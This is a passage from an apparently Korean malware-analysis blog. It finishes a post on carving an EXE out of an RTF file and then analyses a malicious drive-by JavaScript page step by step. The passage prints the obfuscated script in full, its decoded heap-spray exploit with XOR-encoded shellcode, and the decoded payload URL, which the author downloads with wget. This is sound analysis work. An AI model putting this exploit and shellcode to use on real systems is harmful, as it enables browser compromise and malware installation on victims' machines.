000e 1fba 0e00 b409 cd21 ...............! 00000f0: b801 4ccd 2154 6869 7320 7072 6f67 7261 ..L.!This progra 0000100: 6d20 6361 6e6e 6f74 2062 6520 7275 6e20 m cannot be run 0000110: 696e 2044 4f53 206d 6f64 652e 0d0d 0a24 in DOS mode....$ . . [생략] 이제 PE 파일 형태를 갖춘거 같습니다. 이제 완벽한 PE 파일로 만들기 위해 시작 지점과 마지막 지점을 알아보도록 하겠습니다.\n우선 시작지점은 당연히 PE 파일임을 뜻하는 MZ가 되겠죠? 이제 마지막 데이터가 어디인지를 알아내야 합니다. 마지막 데이터의 위치는 위에 노란 블록으로 표시한 값을 확인하면 됩니다.\n바로 0xb200 가 문서내에 포함된 EXE 파일의 전체 크기를 나타냅니다. 따라서 헥스 에디터에서 MZ 앞부분을 지운 다음에 0xb200까지만 남기고 아래 데이터는 다 지우면 되는겁니다.\n이제 완성한 파일을 확인해 보도록 하겠습니다.\n1 2 3 4 5 C:\\Users\\ByJJoon\\Downloads\\RTF\u0026gt;file final.bin final.bin: PE32 executable for MS Windows (GUI) Intel 80386 32-bit C:\\Users\\ByJJoon\\Downloads\\RTF\u0026gt;md5sum final.bin f96aa9da4f47cff01019a143bc8eedf4 *final.bin PE 파일로 확인되었습니다. 해쉬값을 이용해여 VirusTotal 사이트에서 확인해 보도록 하겠습니다. http://www.virustotal.com/analisis/801c690f7a4fc7b0ed215fc65ed9aa615841392cf7c34cdfb3641648ec349b28-1273347082\n하지만 위의 방법은 그냥 노가다이며 RTF 내에 있는 내용을 어찌 확인할 수 있을까 고민하여 찾은 방법 입니다. 실제로는 아주 간단하게 EXE 파일을 추출할 수 있습니다.\n위와 같이 윈도우 기본 프로그램인 워드패드를 이용하여 열면 위와 같이 표시되게 되며 해당 아이콘을 드래그 앤 드롭으로 바탕화면이나 폴더에 떨구면 EXE 파일이 생성됩니다. 생성된 파일을 비교해 보도록 하겠습니다.\n1 2 3 4 5 C:\\Users\\ByJJoon\\Downloads\\RTF\u0026gt;md5sum final.bin f96aa9da4f47cff01019a143bc8eedf4 *final.bin C:\\Users\\ByJJoon\\Downloads\\RTF\u0026gt;md5sum dem2001_10.exe f96aa9da4f47cff01019a143bc8eedf4 *dem2001_10.exe 동일하군요. 이렇게 간단하게 추출이 가능하나....노가다로 분석을 한 이유는 RTF 포맷을 이해하기 위한 것이라는 핑계를 대야 겠네요 :D\nEOF - ","date":"2010-05-09T18:08:01Z","permalink":"/2010/05/09/rtf-%ED%8C%8C%EC%9D%BC-%EB%B6%84%EC%84%9D%ED%95%98%EA%B8%B0/","title":"RTF 파일 분석하기"},{"content":"이번에는 조금 형태가 다른 악성 스크립트를 확인해 보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [byjjoon@ByJJoon Script Analysis]$ wget http://61.100.7.171/css/lib.asp --2010-05-09 19:33:23-- http://61.100.7.171/css/lib.asp Connecting to 61.100.7.171:80... connected. HTTP request sent, awaiting response... 200 OK Length: 5851 (5.7K) [text/html] Saving to: `lib.asp\u0026#39; 100%[===============================================================================================================\u0026gt;] 5,851 --.-K/s in 0.008s 2010-05-09 19:33:23 (749 KB/s) - `lib.asp\u0026#39; saved [5851/5851] [byjjoon@ByJJoon Script Analysis]$ cat lib.asp \u0026lt;SCRIPT LANGUAGE=\u0026#34;JavaScript\u0026#34; defer\u0026gt;function a(p){var j,t;j=\u0026#34;\u0026#34;;for(i=1;i\u0026lt;=p.length;i++){if((i%2)==0){t=\u0026#34;0x\u0026#34;+p.substr(i-2,2);t=t.toString(10)-18; j=j+String.fromCharCode(t);}}return j;} var x=a(\u0026#34;4E748786868180327B764F397F818039328180757E7B757D4F3985757E7B757D3A3B4D393265666B5E574F39565B65625E536B4C6061605739504E41748786868180504E8575847B8286327E738079877379774F345C7388736575847B828634327677787784503278878075867B818032757C7F3A853B8D3288738432848586843E804D32804F34344D32788184323A7B4F434D7B4E4F85407E778079867A324D7B3D3D323B328D327B78323A3A7B323732463B4F4F423B328D3284858684324F32343787343D85408587748586843A7B3F443E443B3D85408587748586843A7B3F463E443B4D32804F3280323D32848586844D328F328F328477868784803287807785757382773A803B4D328F32887384327E88324F32757C7F3A344B424B424B424B42474A474A474A474A57544342475446544545554B4848544B544A42454A424546425454565744585357544247574A5754585858585858474653455457545654565744564B43554A565456545654564548585654434548555653434342454856475447454846535649535557464747424554585456545644564758464756474A574A58545654565647574A5557564A5558574B45485854544347474245545554565456454847475649544A57464747444554585456545647584646564756445645545654565647554A555856435642574B46445354454A4956554A5357564756445645545654565647554A555856435642574B45485854544347474545545554565456454847475649545557464747564554585456545647584646564756434A574A585456564755575647564A5643574B454858545443474756445455545654564548474756495455574647475844545854565456475846464555474354565455545654564548484345554957455654565456545656495456564953495757564954564644575457434A574956585645564A4354575456554A46464953544B5457574356574B45564A4953584B5457544B5547564A545654564A574946575557555757575357554A57495645485854574747474B585455545654564557464754564746435754565456545644565649545656495456564954575649545656495458564754565456545649565757454858544B4B47475455545554565456454658545656564954565756464457544B4745465854564B4548585456565649545656495456564954565649544B564954565756464457544B43564954565649545656495456564753445456544454565756464457544A4345465854554745485845564B4556554354474644424B554B544345565543544746445456554B544A4556554B54474644424B47584748454645544556545654565456495358545556545654565456545649535854554B54565456545654565649545656495456564954564548585456565756464457544A474548455445565456545654565649545645425845554B57554644555455565756464455545656464457544A56464455545656464457544A4B464455545547464457545856454846484A5749564A5748484555474354565458545654564548494345574647574B5542544745465343545545574956544B4748465745484943454848464557495753564A57495657565755575757565756575657565756575657535756575646445754544745485545574B474753565455545654564747564A54565456545656475657555455535456564755575647564B5644574B45485854544347474B4B545654565456454658544A43564B4355544B5456545654564542435656564644464446445649564A464455544A43454858545356474754475456545654564A57484857575757575757574644485645564A47474745564A474746554A535545555547544A4456445644564456554B544745484644574A4548474345425856544A4644475647474354545654565456495747474356545654565456424753555455544B4556495854435456474744575456545654564555474354565455545654564548464345574953544B495354534A58554B4455544349535853544B56574546485558444953585354474356564A4453494849535853544357555856424955444953585353564A45534242544A4649535853534B42475646484B53484953585353474245554456544356495358535343464343464A534342495358534B564447544953564647564B43554A565456545654564548585654434548555653434342454856475447454846535649544B57464747574B54565456545644564758464756474A574A58545654565647574A5557564A5558574B454854544747574A464446444644454847475649544A574647474A4A545654565456475846464A574644575346445754544B4748545857474957474746464644464446445748495454534247454657445455565449535853544A464447564957575745484843575756495856564754565356545654565753454858544B564747534746444644464457474957575557544548554A4A434548554B4B4555475457464A5754454855544B565457464A4A5749465846585543425457494A4A5748485444424553564A494854554B5447495549485453545748495856474846554A485344554A47535745454857454B4B545748425654454854435848454857455343545748424548544B45485457494A434857455746495747474842464346444644425846584758464B4A464758554245574849584755484A424A58554B44555443454A484443444248565745464855584457555856424955444356564A445349485345434B564B474444574A58474B444B45455357544943434958534658485455494B45425344554B5753565454424644585742454343484855424656434A444957584645435348494A45534242544A4642475646484B53484245554456544356464343464A5343424447544953564647455648544344444946485757534A76745647554B554B55564A494B444B444A544A554B454A554A564A564B454A554B454A464A574B445657555755574B445646555756554B45564A5547564A545654565456545654565456545654565456545654565456545654565456545654565456545657535753343B4D328873843255738484324F3280778932538484738B3A3B4D887384327B86324F32428A4A48424242323F327E88407E778079867A3C444D8873843289787E7379324F3234378742754275378742754275344D887384327D85324F3287807785757382773A89787E73793B4D897A7B7E773A7D85407E778079867A324E327B8641443B327D85323D4F7D854D8873843282324F327D85408587748586847B80793A423E327B8641443B4D76777E778677327D854D7881843A7B4F424D7B4E4449424D7B3D3D3B8D557384846D7B6F324F32823D823D7E884D8F78878075867B81803285757E7B757D3A3B8D88738432855481768B324F32768175877F77808640758477738677577E777F7780863A345461566B343B4D855481768B4073767654777A73887B81843A343576777873877E86358785778456738673343B4D768175877F77808640738282778076557A7B7E763A855481768B3B4D86848B8D788184323A7B4F424D7B4E43424D7B3D3D3B8D855481768B40857786538686847B748786773A3985393E897B807681893B4D8F8F757386757A3A773B8D8F897B80768189408586738687853D4F39394D8F768175877F77808640797786577E777F778086548B5B763A347F8180343B408180757E7B757D3A3B4D4E418575847B828650\u0026#34;); window.document.write(x); window.location.reload(); \u0026lt;/SCRIPT\u0026gt; \u0026lt;script src=\u0026#34;http://s33.cnzz.com/stat.php?id=2030218\u0026amp;web_id=2030218\u0026#34; language=\u0026#34;JavaScript\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 뭔가 복잡하게 꼬여 있는거 같지만 아주 간단합니다. 해당 스크립트를 아래와 같이 수정합니다.\n1 2 3 4 function a(p){var j,t;j=\u0026#34;\u0026#34;;for(i=1;i\u0026lt;=p.length;i++){if((i%2)==0){t=\u0026#34;0x\u0026#34;+p.substr(i-2,2);t=t.toString(10)-18; j=j+String.fromCharCode(t);}}return j;} var x=a(\u0026#34;4E748786868180327B764F397F818039328180757E7B757D4F3985757E7B757D3A3B4D393265666B5E574F39565B65625E536B4C6061605739504E41748786868180504E8575847B8286327E738079877379774F345C7388736575847B828634327677787784503278878075867B818032757C7F3A853B8D3288738432848586843E804D32804F34344D32788184323A7B4F434D7B4E4F85407E778079867A324D7B3D3D323B328D327B78323A3A7B323732463B4F4F423B328D3284858684324F32343787343D85408587748586843A7B3F443E443B3D85408587748586843A7B3F463E443B4D32804F3280323D32848586844D328F328F328477868784803287807785757382773A803B4D328F32887384327E88324F32757C7F3A344B424B424B424B42474A474A474A474A57544342475446544545554B4848544B544A42454A424546425454565744585357544247574A5754585858585858474653455457545654565744564B43554A565456545654564548585654434548555653434342454856475447454846535649535557464747424554585456545644564758464756474A574A58545654565647574A5557564A5558574B45485854544347474245545554565456454847475649544A57464747444554585456545647584646564756445645545654565647554A555856435642574B46445354454A4956554A5357564756445645545654565647554A555856435642574B45485854544347474545545554565456454847475649545557464747564554585456545647584646564756434A574A585456564755575647564A5643574B454858545443474756445455545654564548474756495455574647475844545854565456475846464555474354565455545654564548484345554957455654565456545656495456564953495757564954564644575457434A574956585645564A4354575456554A46464953544B5457574356574B45564A4953584B5457544B5547564A545654564A574946575557555757575357554A57495645485854574747474B585455545654564557464754564746435754565456545644565649545656495456564954575649545656495458564754565456545649565757454858544B4B47475455545554565456454658545656564954565756464457544B4745465854564B4548585456565649545656495456564954565649544B564954565756464457544B43564954565649545656495456564753445456544454565756464457544A4345465854554745485845564B4556554354474644424B554B544345565543544746445456554B544A4556554B54474644424B47584748454645544556545654565456495358545556545654565456545649535854554B54565456545654565649545656495456564954564548585456565756464457544A474548455445565456545654565649545645425845554B57554644555455565756464455545656464457544A56464455545656464457544A4B464455545547464457545856454846484A5749564A5748484555474354565458545654564548494345574647574B5542544745465343545545574956544B4748465745484943454848464557495753564A57495657565755575757565756575657565756575657535756575646445754544745485545574B474753565455545654564747564A54565456545656475657555455535456564755575647564B5644574B45485854544347474B4B545654565456454658544A43564B4355544B5456545654564542435656564644464446445649564A464455544A43454858545356474754475456545654564A57484857575757575757574644485645564A47474745564A474746554A535545555547544A4456445644564456554B544745484644574A4548474345425856544A4644475647474354545654565456495747474356545654565456424753555455544B4556495854435456474744575456545654564555474354565455545654564548464345574953544B495354534A58554B4455544349535853544B56574546485558444953585354474356564A4453494849535853544357555856424955444953585353564A45534242544A4649535853534B42475646484B53484953585353474245554456544356495358535343464343464A534342495358534B564447544953564647564B43554A565456545654564548585654434548555653434342454856475447454846535649544B57464747574B54565456545644564758464756474A574A58545654565647574A5557564A5558574B454854544747574A464446444644454847475649544A574647474A4A545654565456475846464A574644575346445754544B4748545857474957474746464644464446445748495454534247454657445455565449535853544A464447564957575745484843575756495856564754565356545654565753454858544B564747534746444644464457474957575557544548554A4A434548554B4B4555475457464A5754454855544B565457464A4A5749465846585543425457494A4A5748485444424553564A494854554B5447495549485453545748495856474846554A485344554A47535745454857454B4B545748425654454854435848454857455343545748424548544B45485457494A434857455746495747474842464346444644425846584758464B4A464758554245574849584755484A424A58554B44555443454A484443444248565745464855584457555856424955444356564A445349485345434B564B474444574A58474B444B45455357544943434958534658485455494B45425344554B5753565454424644585742454343484855424656434A444957584645435348494A45534242544A4642475646484B53484245554456544356464343464A5343424447544953564647455648544344444946485757534A76745647554B554B55564A494B444B444A544A554B454A554A564A564B454A554B454A464A574B445657555755574B445646555756554B45564A5547564A545654565456545654565456545654565456545654565456545654565456545654565456545657535753343B4D328873843255738484324F3280778932538484738B3A3B4D887384327B86324F32428A4A48424242323F327E88407E778079867A3C444D8873843289787E7379324F3234378742754275378742754275344D887384327D85324F3287807785757382773A89787E73793B4D897A7B7E773A7D85407E778079867A324E327B8641443B327D85323D4F7D854D8873843282324F327D85408587748586847B80793A423E327B8641443B4D76777E778677327D854D7881843A7B4F424D7B4E4449424D7B3D3D3B8D557384846D7B6F324F32823D823D7E884D8F78878075867B81803285757E7B757D3A3B8D88738432855481768B324F32768175877F77808640758477738677577E777F7780863A345461566B343B4D855481768B4073767654777A73887B81843A343576777873877E86358785778456738673343B4D768175877F77808640738282778076557A7B7E763A855481768B3B4D86848B8D788184323A7B4F424D7B4E43424D7B3D3D3B8D855481768B40857786538686847B748786773A3985393E897B807681893B4D8F8F757386757A3A773B8D8F897B80768189408586738687853D4F39394D8F768175877F77808640797786577E777F778086548B5B763A347F8180343B408180757E7B757D3A3B4D4E418575847B828650\u0026#34;); print(x); 수정 전 후를 비교하면 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [byjjoon@ByJJoon Script Analysis]$ diff lib.asp lib_modify.asp 1,2c1 \u0026lt; \u0026lt; \u0026lt;SCRIPT LANGUAGE=\u0026#34;JavaScript\u0026#34; defer\u0026gt;function a(p){var j,t;j=\u0026#34;\u0026#34;;for(i=1;i\u0026lt;=p.length;i++){if((i%2)==0){t=\u0026#34;0x\u0026#34;+p.substr(i-2,2);t=t.toString(10)-18; --- \u0026gt; function a(p){var j,t;j=\u0026#34;\u0026#34;;for(i=1;i\u0026lt;=p.length;i++){if((i%2)==0){t=\u0026#34;0x\u0026#34;+p.substr(i-2,2);t=t.toString(10)-18; 5,9c4 \u0026lt; window.document.write(x); \u0026lt; window.location.reload(); \u0026lt; \u0026lt;/SCRIPT\u0026gt; \u0026lt; \u0026lt; \u0026lt;script src=\u0026#34;http://s33.cnzz.com/stat.php?id=2030218\u0026amp;web_id=2030218\u0026#34; language=\u0026#34;JavaScript\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \\ No newline at end of file --- \u0026gt; print(x); [byjjoon@ByJJoon Script Analysis]$ 이제 SpiderMonkey를 이용하여 스크립트를 확인해 보도록 하겠습니다.\n1 2 3 [byjjoon@ByJJoon Script Analysis]$ js lib_modify.asp \u0026lt;button id=\u0026#39;mon\u0026#39; onclick=\u0026#39;sclick();\u0026#39; STYLE=\u0026#39;DISPLAY:NONE\u0026#39;\u0026gt;\u0026lt;/button\u0026gt;\u0026lt;script language=\u0026#34;JavaScript\u0026#34; defer\u0026gt; function cjm(s){ var rstr,n; n=\u0026#34;\u0026#34;; for (i=1;i\u0026lt;=s.length ;i++ ) { if ((i % 4)==0) { rstr = \u0026#34;%u\u0026#34;+s.substr(i-2,2)+s.substr(i-4,2); n= n + rstr; } } return unescape(n); } var lv = cjm(\u0026#34;9090909058585858EB105B4B33C966B9B80380340BBDE2FAEB05E8EBFFFFFF54A3BEBDBDE2D91C8DBDBDBD36FDB136CDA11036D5B5364AD7ACE45503BFBDBD2D5F45D58E8FBDBDD5E8CED8CFE936FBB15503BCBDBD3655D7B8E45523BFBDBD5F44D5D2D3BDBDD5C8CFD1D0E942AB387DC8AED5D2D3BDBDD5C8CFD1D0E936FBB15533BCBDBD3655D7BCE455D3BFBDBD5F44D5D18E8FBDD5CED5D8D1E936FBB155D2BCBDBD3655D7BCE455F2BFBDBD5F443C51BDBCBDBD36613C7E3DBDBDBDD7BDD7A7EED7BD42EBE18E7DFD3D81BEBDC8447AB9BEE1DE93D87AF9BEB9C5D8BDBD8E74ECECEEEAEC8E7D36FBE5559FBCBDBD3E45BD541EBDBDBD2DD7BDD7BDD7BED7BDD7BFD5BDBDBD7DEE36FB9955BCBCBDBD34FBDDD7BDED42EB9534FBD936FBDDD7BDD7BDD7BDD7B9D7BDED42EB91D7BDD7BDD7BDD5A2BDB2BDED42EB8134FBC536F3D93DC1B54209C9B13DC1B542BDC9B83DC9B542095F56343B3DBDBDBD7AFBCDBDBDBDBD7AFBC9BDBDBDBDD7BDD7BDD7BD36FBDDED42EB85363B3DBDBDBDD7BD30F3C9EC42CBCDED42CBDD42EB8D42CBDD42EB8942CBC542EBFD36468E7D8E663C51BDBFBDBD36713E45E9C0B534A1BC3E7DB9564E367136643E7EAD8E7DEDECEEEDEDEDEDEDEDEAEDED42EBB536C3E955ADBCBDBD55D8BDBDBDD5DECBCABDD5CED5D9D2E936FBB15599BDBDBD34FB81D91CB9BDBDBD301DDD424242D7D842CB8136FBAD55B5BDBDBD8E66EEEEEEEE426D3D85553D8554C8AC3CC5B82D2D2D2DC9B53642E8365130FDB8425D551BBDBDBD7E551DBDBDBD05ACBCB93D7FB1BD552EBDBDBD3C51BDBCBDBD36413E7AB97ABA8FC92CB17AFAB9DE346CF27AFAB51DD82A767AFAB1ECFD07C27AFAAD83A00B847AFAA905D469A67AFAA503C2DB1D7AFAA141148A107AFA9D25B7AD45D91C8DBDBDBD36FDB136CDA11036D5B5364AD7B9E455E9BDBDBD2D5F45D58E8FBDBDD5E8CED8CFE936BB55E84242423655D7B8E45588BDBDBD5F448E42EA42EBB956BFE57E5544424242E67BBA0534E2BCDB7AFAB8425D7EEE3661EED7FDD5BDADBDBDEA36FB9D55A5424242E57EECEB36C88136C993C5BE48EB36CB9DBE488E74F4FC10BE788E66B203AD876BC9B57C76BABE67FD564C86A2C85AE336E399BE60DB36B1F636E3A1BE6036B936BE7816E3E47E55604142420F4F5F49845FC03E67F5C6808FC92CB138621206DE346CF2ECFD07C21DD82A76A319D9522E8F592933AEB7117FA4F6BC7930A2C9EADBB042FE031166C04D1827EF431A6783A00B8405D469A603C2DB1D41148A1025B7AD453D6B122746EEA8dbD5C9C9CD8792928B8C938C8D8D938C93848E92DECECE92D4CEDC93D8C5D8BDBDBDBDBDBDBDBDBDBDBDBDBDBDBDBDBDBDBDEAEA\u0026#34;); var Carr = new Array();var it = 0x86000 - lv.length*2;var wflag = \u0026#34;%u0c0c%u0c0c\u0026#34;;var ks = unescape(wflag);while(ks.length \u0026lt; it/2) ks +=ks;var p = ks.substring(0, it/2);delete ks;for(i=0;i\u0026lt;270;i++){Carr[i] = p+p+lv;}function sclick(){var sBody = document.createElement(\u0026#34;BODY\u0026#34;);sBody.addBehavior(\u0026#34;#default#userData\u0026#34;);document.appendChild(sBody);try{for (i=0;i\u0026lt;10;i++){sBody.setAttribute(\u0026#39;s\u0026#39;,window);}}catch(e){}window.status+=\u0026#39;\u0026#39;;}document.getElementById(\u0026#34;mon\u0026#34;).onclick();\u0026lt;/script\u0026gt; [byjjoon@ByJJoon Script Analysis]$ 스크립트를 출력 하니 Hex값으로 보이는 값이 보이는군요. 해당 부분만 따로 뽑아 hex.dump로 저장하도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 [byjjoon@ByJJoon Script Analysis]$ python -c \u0026#34;import binascii; print binascii.unhexlify(\u0026#39;9090909058585858EB105B4B33C966B9B80380340BBDE2FAEB05E8EBFFFFFF54A3BEBDBDE2D91C8DBDBDBD36FDB136CDA11036D5B5364AD7ACE45503BFBDBD2D5F45D58E8FBDBDD5E8CED8CFE936FBB15503BCBDBD3655D7B8E45523BFBDBD5F44D5D2D3BDBDD5C8CFD1D0E942AB387DC8AED5D2D3BDBDD5C8CFD1D0E936FBB15533BCBDBD3655D7BCE455D3BFBDBD5F44D5D18E8FBDD5CED5D8D1E936FBB155D2BCBDBD3655D7BCE455F2BFBDBD5F443C51BDBCBDBD36613C7E3DBDBDBDD7BDD7A7EED7BD42EBE18E7DFD3D81BEBDC8447AB9BEE1DE93D87AF9BEB9C5D8BDBD8E74ECECEEEAEC8E7D36FBE5559FBCBDBD3E45BD541EBDBDBD2DD7BDD7BDD7BED7BDD7BFD5BDBDBD7DEE36FB9955BCBCBDBD34FBDDD7BDED42EB9534FBD936FBDDD7BDD7BDD7BDD7B9D7BDED42EB91D7BDD7BDD7BDD5A2BDB2BDED42EB8134FBC536F3D93DC1B54209C9B13DC1B542BDC9B83DC9B542095F56343B3DBDBDBD7AFBCDBDBDBDBD7AFBC9BDBDBDBDD7BDD7BDD7BD36FBDDED42EB85363B3DBDBDBDD7BD30F3C9EC42CBCDED42CBDD42EB8D42CBDD42EB8942CBC542EBFD36468E7D8E663C51BDBFBDBD36713E45E9C0B534A1BC3E7DB9564E367136643E7EAD8E7DEDECEEEDEDEDEDEDEDEAEDED42EBB536C3E955ADBCBDBD55D8BDBDBDD5DECBCABDD5CED5D9D2E936FBB15599BDBDBD34FB81D91CB9BDBDBD301DDD424242D7D842CB8136FBAD55B5BDBDBD8E66EEEEEEEE426D3D85553D8554C8AC3CC5B82D2D2D2DC9B53642E8365130FDB8425D551BBDBDBD7E551DBDBDBD05ACBCB93D7FB1BD552EBDBDBD3C51BDBCBDBD36413E7AB97ABA8FC92CB17AFAB9DE346CF27AFAB51DD82A767AFAB1ECFD07C27AFAAD83A00B847AFAA905D469A67AFAA503C2DB1D7AFAA141148A107AFA9D25B7AD45D91C8DBDBDBD36FDB136CDA11036D5B5364AD7B9E455E9BDBDBD2D5F45D58E8FBDBDD5E8CED8CFE936BB55E84242423655D7B8E45588BDBDBD5F448E42EA42EBB956BFE57E5544424242E67BBA0534E2BCDB7AFAB8425D7EEE3661EED7FDD5BDADBDBDEA36FB9D55A5424242E57EECEB36C88136C993C5BE48EB36CB9DBE488E74F4FC10BE788E66B203AD876BC9B57C76BABE67FD564C86A2C85AE336E399BE60DB36B1F636E3A1BE6036B936BE7816E3E47E55604142420F4F5F49845FC03E67F5C6808FC92CB138621206DE346CF2ECFD07C21DD82A76A319D9522E8F592933AEB7117FA4F6BC7930A2C9EADBB042FE031166C04D1827EF431A6783A00B8405D469A603C2DB1D41148A1025B7AD453D6B122746EEA8dbD5C9C9CD8792928B8C938C8D8D938C93848E92DECECE92D4CEDC93D8C5D8BDBDBDBDBDBDBDBDBDBDBDBDBDBDBDBDBDBDBDEAEA\u0026#39;)\u0026#34; \u0026gt; hex.dump [byjjoon@ByJJoon Script Analysis]$ xxd hex.dump 0000000: 9090 9090 5858 5858 eb10 5b4b 33c9 66b9 ....XXXX..[K3.f. 0000010: b803 8034 0bbd e2fa eb05 e8eb ffff ff54 ...4...........T 0000020: a3be bdbd e2d9 1c8d bdbd bd36 fdb1 36cd ...........6..6. 0000030: a110 36d5 b536 4ad7 ace4 5503 bfbd bd2d ..6..6J...U....- 0000040: 5f45 d58e 8fbd bdd5 e8ce d8cf e936 fbb1 _E...........6.. 0000050: 5503 bcbd bd36 55d7 b8e4 5523 bfbd bd5f U....6U...U#..._ 0000060: 44d5 d2d3 bdbd d5c8 cfd1 d0e9 42ab 387d D...........B.8} 0000070: c8ae d5d2 d3bd bdd5 c8cf d1d0 e936 fbb1 .............6.. 0000080: 5533 bcbd bd36 55d7 bce4 55d3 bfbd bd5f U3...6U...U...._ 0000090: 44d5 d18e 8fbd d5ce d5d8 d1e9 36fb b155 D...........6..U 00000a0: d2bc bdbd 3655 d7bc e455 f2bf bdbd 5f44 ....6U...U...._D 00000b0: 3c51 bdbc bdbd 3661 3c7e 3dbd bdbd d7bd \u0026lt;Q....6a\u0026lt;~=..... 00000c0: d7a7 eed7 bd42 ebe1 8e7d fd3d 81be bdc8 .....B...}.=.... 00000d0: 447a b9be e1de 93d8 7af9 beb9 c5d8 bdbd Dz......z....... 00000e0: 8e74 ecec eeea ec8e 7d36 fbe5 559f bcbd .t......}6..U... 00000f0: bd3e 45bd 541e bdbd bd2d d7bd d7bd d7be .\u0026gt;E.T....-...... 0000100: d7bd d7bf d5bd bdbd 7dee 36fb 9955 bcbc ........}.6..U.. 0000110: bdbd 34fb ddd7 bded 42eb 9534 fbd9 36fb ..4.....B..4..6. 0000120: ddd7 bdd7 bdd7 bdd7 b9d7 bded 42eb 91d7 ............B... 0000130: bdd7 bdd7 bdd5 a2bd b2bd ed42 eb81 34fb ...........B..4. 0000140: c536 f3d9 3dc1 b542 09c9 b13d c1b5 42bd .6..=..B...=..B. 0000150: c9b8 3dc9 b542 095f 5634 3b3d bdbd bd7a ..=..B._V4;=...z 0000160: fbcd bdbd bdbd 7afb c9bd bdbd bdd7 bdd7 ......z......... 0000170: bdd7 bd36 fbdd ed42 eb85 363b 3dbd bdbd ...6...B..6;=... 0000180: d7bd 30f3 c9ec 42cb cded 42cb dd42 eb8d ..0...B...B..B.. 0000190: 42cb dd42 eb89 42cb c542 ebfd 3646 8e7d B..B..B..B..6F.} 00001a0: 8e66 3c51 bdbf bdbd 3671 3e45 e9c0 b534 .f\u0026lt;Q....6q\u0026gt;E...4 00001b0: a1bc 3e7d b956 4e36 7136 643e 7ead 8e7d ..\u0026gt;}.VN6q6d\u0026gt;~..} 00001c0: edec eeed eded eded edea eded 42eb b536 ............B..6 00001d0: c3e9 55ad bcbd bd55 d8bd bdbd d5de cbca ..U....U........ 00001e0: bdd5 ced5 d9d2 e936 fbb1 5599 bdbd bd34 .......6..U....4 00001f0: fb81 d91c b9bd bdbd 301d dd42 4242 d7d8 ........0..BBB.. 0000200: 42cb 8136 fbad 55b5 bdbd bd8e 66ee eeee B..6..U.....f... 0000210: ee42 6d3d 8555 3d85 54c8 ac3c c5b8 2d2d .Bm=.U=.T..\u0026lt;..-- 0000220: 2d2d c9b5 3642 e836 5130 fdb8 425d 551b --..6B.6Q0..B]U. 0000230: bdbd bd7e 551d bdbd bd05 acbc b93d 7fb1 ...~U........=.. 0000240: bd55 2ebd bdbd 3c51 bdbc bdbd 3641 3e7a .U....\u0026lt;Q....6A\u0026gt;z 0000250: b97a ba8f c92c b17a fab9 de34 6cf2 7afa .z...,.z...4l.z. 0000260: b51d d82a 767a fab1 ecfd 07c2 7afa ad83 ...*vz......z... 0000270: a00b 847a faa9 05d4 69a6 7afa a503 c2db ...z....i.z..... 0000280: 1d7a faa1 4114 8a10 7afa 9d25 b7ad 45d9 .z..A...z..%..E. 0000290: 1c8d bdbd bd36 fdb1 36cd a110 36d5 b536 .....6..6...6..6 00002a0: 4ad7 b9e4 55e9 bdbd bd2d 5f45 d58e 8fbd J...U....-_E.... 00002b0: bdd5 e8ce d8cf e936 bb55 e842 4242 3655 .......6.U.BBB6U 00002c0: d7b8 e455 88bd bdbd 5f44 8e42 ea42 ebb9 ...U...._D.B.B.. 00002d0: 56bf e57e 5544 4242 42e6 7bba 0534 e2bc V..~UDBBB.{..4.. 00002e0: db7a fab8 425d 7eee 3661 eed7 fdd5 bdad .z..B]~.6a...... 00002f0: bdbd ea36 fb9d 55a5 4242 42e5 7eec eb36 ...6..U.BBB.~..6 0000300: c881 36c9 93c5 be48 eb36 cb9d be48 8e74 ..6....H.6...H.t 0000310: f4fc 10be 788e 66b2 03ad 876b c9b5 7c76 ....x.f....k..|v 0000320: babe 67fd 564c 86a2 c85a e336 e399 be60 ..g.VL...Z.6...` 0000330: db36 b1f6 36e3 a1be 6036 b936 be78 16e3 .6..6...`6.6.x.. 0000340: e47e 5560 4142 420f 4f5f 4984 5fc0 3e67 .~U`ABB.O_I._.\u0026gt;g 0000350: f5c6 808f c92c b138 6212 06de 346c f2ec .....,.8b...4l.. 0000360: fd07 c21d d82a 76a3 19d9 522e 8f59 2933 .....*v...R..Y)3 0000370: aeb7 117f a4f6 bc79 30a2 c9ea dbb0 42fe .......y0.....B. 0000380: 0311 66c0 4d18 27ef 431a 6783 a00b 8405 ..f.M.\u0026#39;.C.g..... 0000390: d469 a603 c2db 1d41 148a 1025 b7ad 453d .i.....A...%..E= 00003a0: 6b12 2746 eea8 dbd5 c9c9 cd87 9292 8b8c k.\u0026#39;F............ 00003b0: 938c 8d8d 938c 9384 8e92 dece ce92 d4ce ................ 00003c0: dc93 d8c5 d8bd bdbd bdbd bdbd bdbd bdbd ................ 00003d0: bdbd bdbd bdbd bdbd eaea 0a ........... 이제 저장한 값을 이전 포스팅에 소개했던 XOR키를 찾는 스크립트를 이용하여 다운로드 URL을 찾아 보도록 하겠습니다.\n1 2 3 4 5 6 [byjjoon@ByJJoon Script Analysis]$ ./xor_search.py hex.dump http [+] Start [+] Find key : 0xbd [+] Apply XOR : http://61.100.1.93/css/isa.exe [+] End [byjjoon@ByJJoon Script Analysis]$ 주소가 나왔습니다. 해당 파일을 다운로드 해서 확인해 보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 [byjjoon@ByJJoon Script Analysis]$ wget http://61.100.1.93/css/isa.exe --2010-05-09 19:49:08-- http://61.100.1.93/css/isa.exe Connecting to 61.100.1.93:80... connected. HTTP request sent, awaiting response... 200 OK Length: 53248 (52K) [application/octet-stream] Saving to: `isa.exe\u0026#39; 100%[===============================================================================================================\u0026gt;] 53,248 --.-K/s in 0.07s 2010-05-09 19:49:08 (715 KB/s) - `isa.exe\u0026#39; saved [53248/53248] [byjjoon@ByJJoon Script Analysis]$ file isa.exe isa.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit [byjjoon@ByJJoon Script Analysis]$ 여기까지 콘솔 환경에서 악성 스크립트를 분석하는 글을 마치겠습니다. Malzilla나 기타 툴을 이용하는 것이 훨씬 편하지만 언젠가 해당 포스트가 쓰임이 있으리라 